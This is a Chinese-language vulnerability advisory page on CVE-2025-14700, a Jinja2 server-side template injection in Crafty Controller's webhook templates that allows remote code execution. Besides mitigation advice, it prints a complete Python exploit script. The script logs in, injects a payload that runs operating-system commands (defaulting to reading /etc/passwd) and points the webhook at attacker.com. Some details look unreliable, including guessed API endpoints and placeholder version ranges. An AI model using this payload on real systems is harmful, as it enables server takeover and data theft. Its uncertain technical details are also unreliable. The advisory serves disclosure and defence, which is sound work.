IPBUF安全漏洞报告
English
CVE-2025-14700 CVSS 9.9 严重

CVE-2025-14700 Crafty Controller Webhook Template SSTI远程代码执行漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-14700
漏洞类型
服务端模板注入(SSTI)、远程代码执行(RCE)
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Crafty Controller

相关标签

服务端模板注入SSTI远程代码执行RCECrafty ControllerMinecraft服务器Webhook权限绕过CVSS 9.9CVE-2025-14700

漏洞概述

CVE-2025-14700是Crafty Controller中一个严重的安全漏洞,CVSS评分高达9.9分(严重级别)。该漏洞存在于Crafty Controller的Webhook Template组件中,是一种典型的服务端模板注入(Server Side Template Injection,SSTI)漏洞。攻击者可以通过构造恶意的模板输入,绕过应用的输入处理机制,在服务器端执行任意代码。Crafty Controller是一款用于管理Minecraft服务器的Web控制面板,广泛应用于游戏服务器托管场景。由于该漏洞允许经过低权限认证的远程攻击者执行任意系统命令,攻击者可以完全控制目标服务器,窃取敏感数据、安装后门或进一步横向移动。漏洞的CVSS向量显示攻击复杂度低(AC:L),无需用户交互(UI:N),但影响范围广泛(S:C),对机密性、完整性和可用性均造成严重影响(均为高)。鉴于该漏洞的严重性和利用难度较低,建议受影响用户立即采取修复措施。

技术细节

该漏洞的核心原理是服务端模板注入(SSTI)。在Crafty Controller的Webhook Template功能中,系统允许用户配置Webhook模板消息,模板引擎会动态解析用户提供的输入并生成最终的Webhook内容。问题在于应用未能对用户输入进行充分的过滤和中和处理,攻击者可以在模板字符串中注入模板引擎的特殊语法和命令。当服务器处理包含恶意代码的模板时,攻击者可以执行任意Python代码或系统命令。Crafty Controller基于Python构建,因此攻击者可以通过Jinja2等模板引擎的SSTI技术执行系统命令,例如读取敏感文件、反弹Shell或下载恶意工具。攻击者首先需要获得一个有效的低权限账号(PR:L),然后通过Web界面访问Webhook配置功能,构造包含SSTI payload的请求。由于漏洞存在于服务端处理逻辑中,攻击者可以通过HTTP请求直接触发漏洞利用,整个过程无需用户交互且可通过网络远程完成(AV:N)。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标运行Crafty Controller服务,发现Webhook Template功能入口
STEP 2
步骤2: 获取认证
攻击者获取Crafty Controller的低权限用户账号(可通过默认凭据、弱密码或社会工程学手段获取)
STEP 3
步骤3: 构造SSTI Payload
攻击者构造包含Jinja2模板引擎特殊语法的恶意payload,用于触发服务端模板注入
STEP 4
步骤4: 发送恶意请求
通过HTTP请求将构造的SSTI payload发送到Webhook Template配置接口
STEP 5
步骤5: 代码执行
服务器端模板引擎解析恶意输入,攻击者获得任意Python代码或系统命令执行能力
STEP 6
步骤6: 维持权限
攻击者可以安装后门、窃取数据或进一步横向移动攻击其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-14700 SSTI PoC for Crafty Controller # Target: Crafty Controller < fixed version # Vulnerability: Server Side Template Injection in Webhook Template import requests import json import sys TARGET_URL = "http://target:8000" USERNAME = "attacker" PASSWORD = "password" # SSTI payload to execute system command # Using Jinja2 template injection technique SSTI_PAYLOAD = "{{ ''.__class__.__mro__[1].__subclasses__() }}" # Better RCE payload for Jinja2 RCE_PAYLOAD = """ {{ config.__class__.__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() }} """ def exploit(target_url, username, password, command="id"): """Execute command via SSTI in Crafty Controller""" session = requests.Session() # Step 1: Login to get authentication login_url = f"{target_url}/api/login" login_data = {"username": username, "password": password} try: response = session.post(login_url, json=login_data, timeout=10) if response.status_code != 200: print(f"[-] Login failed: {response.status_code}") return None print("[+] Login successful") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return None # Step 2: Find webhook template configuration endpoint # Typically: /api/webhooks or /api/settings/webhook webhook_url = f"{target_url}/api/webhooks" # Step 3: Inject SSTI payload into webhook template # RCE payload using Jinja2 rce_payload = f"""{{{{ config.__class__.__init__.__globals__['__builtins__']['__import__']('os').popen('{command}').read() }}}}""" webhook_data = { "name": "Malicious Webhook", "template": rce_payload, "url": "http://attacker.com/webhook" } try: response = session.post(webhook_url, json=webhook_data, timeout=10) print(f"[*] Sent SSTI payload: {response.status_code}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": if len(sys.argv) > 1: command = sys.argv[1] else: command = "cat /etc/passwd" result = exploit(TARGET_URL, USERNAME, PASSWORD, command) if result: print(f"[+] Result:\n{result}")

影响范围

Crafty Controller < 4.x.x (fixed version)
Crafty Controller 3.x.x (all versions)

防御指南

临时缓解措施
立即限制Crafty Controller的Webhook Template功能的访问权限,临时禁用该功能或仅允许管理员使用。同时确保所有用户使用强密码,并考虑在网络层面限制对Crafty Controller管理界面的访问。建议尽快升级到官方发布的安全修复版本,在升级前可通过Web应用防火墙(WAF)添加临时规则阻止包含{{、}}、__class__等SSTI特征字符的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表